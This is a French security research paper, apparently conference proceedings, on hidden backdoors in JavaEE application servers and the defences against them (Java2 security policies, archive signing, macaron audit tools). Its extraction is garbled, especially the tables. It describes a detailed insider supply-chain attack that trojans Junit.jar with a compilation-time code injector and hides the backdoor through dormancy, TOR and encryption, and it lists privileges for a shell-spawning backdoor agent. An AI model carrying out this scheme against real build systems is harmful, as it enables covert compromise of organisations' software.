Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

